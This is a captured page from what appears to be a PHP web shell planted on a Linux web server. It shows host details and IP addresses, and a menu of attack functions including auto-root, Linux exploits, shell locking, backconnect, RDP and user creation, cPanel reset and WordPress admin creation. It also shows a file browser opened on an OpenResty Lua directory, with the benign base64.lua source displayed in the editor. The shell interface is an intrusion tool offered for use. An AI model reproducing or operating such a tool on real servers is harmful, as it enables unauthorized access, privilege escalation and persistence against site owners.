Linux eyewebsolution.dnshostserver.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
: 185.131.55.234 | : 216.73.216.138
676 Domain
5.6.40
omxrelocation
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
imunify360-webshield /
lualib /
ngx /
[ HOME SHELL ]
Name
Size
Permission
Action
ssl
[ DIR ]
drwxr-xr-x
balancer.lua
11.22
KB
-rw-r--r--
base64.lua
1.68
KB
-rw-r--r--
errlog.lua
4.31
KB
-rw-r--r--
ocsp.lua
4.06
KB
-rw-r--r--
pipe.lua
19.14
KB
-rw-r--r--
process.lua
2.95
KB
-rw-r--r--
re.lua
7.55
KB
-rw-r--r--
req.lua
340
B
-rw-r--r--
resp.lua
365
B
-rw-r--r--
semaphore.lua
4.98
KB
-rw-r--r--
ssl.lua
17.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : base64.lua
-- Copyright (C) by Yichun Zhang (agentzh) -- Copyright (C) by OpenResty Inc. local ffi = require("ffi") local base = require("resty.core.base") local ffi_str = ffi.string local type = type local C = ffi.C local NGX_ERROR = ngx.ERROR local _M = { version = base.version } ffi.cdef[[ typedef intptr_t ngx_int_t; void ngx_encode_base64url(ngx_str_t *dst, ngx_str_t *src); ngx_int_t ngx_decode_base64url(ngx_str_t *dst, ngx_str_t *src); ]] local get_string_buf = base.get_string_buf local dst_str_t = ffi.new("ngx_str_t[1]") local src_str_t = ffi.new("ngx_str_t[1]") local function base64_encoded_length(len) return ((len + 2) / 3) * 4 end local function base64_decoded_length(len) return ((len + 3) / 4) * 3 end function _M.encode_base64url(s) if type(s) ~= "string" then return nil, "must provide a string" end local len = #s local trans_len = base64_encoded_length(len) local src = src_str_t[0] local dst = dst_str_t[0] src.data = s src.len = len dst.data = get_string_buf(trans_len) dst.len = trans_len C.ngx_encode_base64url(dst_str_t, src_str_t) return ffi_str(dst.data, dst.len) end function _M.decode_base64url(s) if type(s) ~= "string" then return nil, "must provide a string" end local len = #s local trans_len = base64_decoded_length(len) local src = src_str_t[0] local dst = dst_str_t[0] src.data = s src.len = len dst.data = get_string_buf(trans_len) dst.len = trans_len local ret = C.ngx_decode_base64url(dst_str_t, src_str_t) if ret == NGX_ERROR then return nil, "invalid input" end return ffi_str(dst.data, dst.len) end return _M
Close